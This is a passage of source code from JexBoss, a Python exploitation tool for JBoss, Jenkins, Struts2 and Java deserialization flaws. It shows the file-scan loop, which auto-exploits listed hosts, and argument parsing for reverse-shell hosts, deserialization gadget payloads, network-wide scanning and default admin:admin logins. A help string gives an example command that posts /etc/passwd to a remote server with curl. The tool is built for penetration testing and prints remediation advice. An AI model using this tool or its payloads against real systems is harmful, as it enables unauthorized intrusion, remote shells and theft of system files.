(ip,port)+ENDC) file_results.close() # check vulnerabilities for file scan mode elif gl_args.mode == 'file-scan': file_results = open(gl_args.out, 'w') file_results.write("JexBoss Scan Mode Report\n\n") file_input = open(gl_args.file, 'r') for url in file_input.readlines(): if gl_interrupted: break url = url.strip() ip = str(parse_url(url)[2]) port = parse_url(url)[3] if parse_url(url)[3] != None else 80 if check_connectivity(ip, port): url_results = check_vul(url) for key in url_results.keys(): if url_results[key] == 200 or url_results[key] == 500: vulnerables = True if gl_args.auto_exploit: result_exploit = auto_exploit(url, key) if result_exploit: file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key)) else: file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key)) else: file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key)) file_results.flush() else: print_and_flush (RED + "\n * Host %s:%s does not respond." % (ip, port) + ENDC) file_results.close() # resume results if vulnerables: banner() print_and_flush(RED + BOLD+" Results: potentially compromised server!" + ENDC) if gl_args.mode == 'file-scan': print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.out) + ENDC) elif gl_args.mode == 'auto-scan': print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.results) + ENDC) print_and_flush(GREEN + " ---------------------------------------------------------------------------------\n" +BOLD+ " Recommendations: \n" +ENDC+ GREEN+ " - Remove web consoles and services that are not used, eg:\n" " $ rm web-console.war http-invoker.sar jmx-console.war jmx-invoker-adaptor-server.sar admin-console.war\n" " - Use a reverse proxy (eg. nginx, apache, F5)\n" " - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n" " - Search vestiges of exploitation within the directories \"deploy\" and \"management\".\n" " - Do NOT TRUST serialized objects received from the user\n" " - If possible, stop using serialized objects as input!\n" " - If you need to work with serialization, consider migrating to the Gson lib.\n" " - Use a strict whitelist with Look-ahead[3] before deserialization\n" " - For a quick (but not definitive) remediation for the viewState input, store the state \n" " of the view components on the server (this will increase the heap memory consumption): \n" " In web.xml, change the \"client\" parameter to \"server\" on STATE_SAVING_METHOD.\n" " - Upgrade Apache Struts: https://cwiki.apache.org/confluence/display/WW/S2-045\n" "\n References:\n" " [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n" " [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n" " [3] - https://www.ibm.com/developerworks/library/se-lookahead/\n" " [4] - https://www.owasp.org/index.php/Deserialization_of_untrusted_data\n" "\n" " - If possible, discard this server!\n" " ---------------------------------------------------------------------------------") else: print_and_flush(GREEN + "\n\n * Results: \n" + " The server is not vulnerable to bugs tested ... :D\n" + ENDC) # infos print_and_flush(ENDC + " * Info: review, suggestions, updates, etc: \n" + " https://github.com/joaomatosf/jexboss\n") print_and_flush(GREEN + BOLD + " * DONATE: " + ENDC + "Please consider making a donation to help improve this tool,\n" + GREEN + BOLD + " * Bitcoin Address: " + ENDC + " 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C \n" ) print_and_flush(ENDC) #banner() if __name__ == "__main__": parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, #description="JexBoss v%s: JBoss verify and EXploitation Tool" %__version, description=textwrap.dedent(RED1 + "\n # --- JexBoss: Jboss verify and EXploitation Tool --- #\n" " | And others Java Deserialization Vulnerabilities | \n" " | |\n" " | @author: João Filho Matos Figueiredo |\n" " | @contact: joaomatosf@gmail.com |\n" " | |\n" " | @updates: https://github.com/joaomatosf/jexboss |\n" " #______________________________________________________#\n" " @version: " + __version__ + "\n" + help_usage()), epilog="", prog="JexBoss" ) group_standalone = parser.add_argument_group('Standalone mode') group_advanced = parser.add_argument_group('Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER)') group_auto_scan = parser.add_argument_group('Auto scan mode') group_file_scan = parser.add_argument_group('File scan mode') # optional parameters --------------------------------------------------------------------------------------- parser.add_argument('--version', action='version', version='%(prog)s ' + __version__) parser.add_argument("--auto-exploit", "-A", help="Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!)", action='store_true') parser.add_argument("--disable-check-updates", "-D", help="Disable two updates checks: 1) Check for updates " "performed by the webshell in exploited server at http://webshell.jexboss.net/jsp_version.txt and 2) check for updates " "performed by the jexboss client at http://joaomatosf.com/rnp/releases.txt", action='store_true') parser.add_argument('-mode', help="Operation mode (DEFAULT: standalone)", choices=['standalone', 'auto-scan', 'file-scan'], default='standalone') parser.add_argument("--app-unserialize", "-j", help="Check for java unserialization vulnerabilities in HTTP parameters (eg. javax.faces.ViewState, " "oldFormData, etc)", action='store_true') parser.add_argument("--servlet-unserialize", "-l", help="Check for java unserialization vulnerabilities in Servlets (like Invoker interfaces)", action='store_true') parser.add_argument("--jboss", help="Check only for JBOSS vectors.", action='store_true') parser.add_argument("--jenkins", help="Check only for Jenkins CLI vector (CVE-2015-5317).", action='store_true') parser.add_argument("--struts2", help="Check only for Struts2 Jakarta Multipart parser (CVE-2017-5638).", action='store_true') parser.add_argument("--jmxtomcat", help="Check JMX JmxRemoteLifecycleListener in Tomcat (CVE-2016-8735 and " "CVE-2016-3427). OBS: Will not be checked by default.", action='store_true') parser.add_argument('--proxy', "-P", help="Use a http proxy to connect to the target URL (eg. -P http://192.168.0.1:3128)", ) parser.add_argument('--proxy-cred', "-L", help="Proxy authentication credentials (eg -L name:password)", metavar='LOGIN:PASS') parser.add_argument('--jboss-login', "-J", help="JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 " "(default: admin:admin)", metavar='LOGIN:PASS', default='admin:admin') parser.add_argument('--timeout', help="Seconds to wait before timeout connection (default 3)", default=3, type=int) parser.add_argument('--cookies', help="Specify cookies for Struts 2 Exploit. Use this to test features that require authentication. " "Format: \"NAME1=VALUE1; NAME2=VALUE2\" (eg. --cookie \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\"" , type=str, metavar='NAME=VALUE') #parser.add_argument('--retries', help="Retries when the connection timeouts (default 3)", default=3, type=int) # advanced parameters --------------------------------------------------------------------------------------- group_advanced.add_argument("--reverse-host", "-r", help="Remote host address and port for reverse shell when exploiting " "Java Deserialization Vulnerabilities in application layer " "(for now, working only against *nix systems)" "(eg. 192.168.0.10:1331)", type=str, metavar='RHOST:RPORT') group_advanced.add_argument("--cmd", "-x", help="Send specific command to run on target (eg. curl -d @/etc/passwd http://your_server)" , type=str, metavar='CMD') group_advanced.add_argument("--dns", help="Specifies the dns query for use with \"dns\" Gadget", type=str, metavar='URL') group_advanced.add_argument("--windows", "-w", help="Specifies that the commands are for rWINDOWS System$ (cmd.exe)", action='store_true') group_advanced.add_argument("--post-parameter", "-H", help="Specify the parameter to find and inject serialized objects into it." " (egs. -H javax.faces.ViewState or -H oldFormData (<- Hi PayPal =X) or others)" " (DEFAULT: javax.faces.ViewState)", default='javax.faces.ViewState', metavar='PARAMETER') group_advanced.add_argument("--show-payload", "-t", help="Print the generated payload.", action='store_true') group_advanced.add_argument("--gadget", help="Specify the type of Gadget to generate the payload automatically." " (DEFAULT: commons-collections3.1 or groovy1 for JenKins)", choices=['commons-collections3.1', 'commons-collections4.0', 'jdk7u21', 'jdk8u20', 'groovy1', 'dns'], default='commons-collections3.1') group_advanced.add_argument("--load-gadget", help="Provide your own gadget from file (a java serialized object in RAW mode)", metavar='FILENAME') group_advanced.add_argument("--force", "-F", help="Force send java serialized gadgets to URL informed in -u parameter. This will " "send the payload in multiple formats (eg. RAW, GZIPED and BASE64) and with " "different Content-Types.",action='store_true') # required parameters --------------------------------------------------------------------------------------- group_standalone.add_argument("-host", "-u", help="Host address to be checked (eg. -u http://192.168.0.10:8080)", type=str) # scan's mode parameters --------------------------------------------------------------------------------------- group_auto_scan.add_argument("-network", help="Network to be checked in CIDR format (eg. 10.0.0.0/8)", type=network_args, default='192.168.0.0/24') group_auto_scan.add_argument("-ports", help="List of ports separated by commas to be checked for each host " "(eg. 8080,8443,8888,80,443)", type=str, default='8080,80') group_auto_scan.add_argument("-results", help="File name to store the auto scan results", type=str, metavar='FILENAME', default='jexboss_auto_scan_results.log') group_file_scan.add_argument("-file", help="Filename with host list to be scanned (one host per line)", type=str, metavar='FILENAME_HOSTS') group_file_scan.add_argument("-out", help="File name to store the file scan results", type=str, metavar='FILENAME_RESULTS', default='jexboss_file_scan_results.log') gl_args = parser.parse_args() if (gl_args.mode == 'standalone' and gl_args.host is None) or \ (gl_args.mode == 'file-scan' and gl_args.file is None) or \ (gl_args.gadget == 'dns' and gl_args.dns is None): banner() print (help_usage()) exit(0) else: configure_http_pool() _updates.set_http_pool(gl_http_pool) _exploits.set_http_pool(gl_http_pool) banner() if gl_args.proxy and not is_proxy_ok(): exit(1) if gl_args.gadget == 'dns': gl_args.cmd = gl_args.dns main() if __name__ == '__testing__': headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive", "User-Agent": get_random_user_agent()} timeout = Timeout(connect=1.0, read=3.0) gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE') _exploits.set_http_pool(gl_http_pool)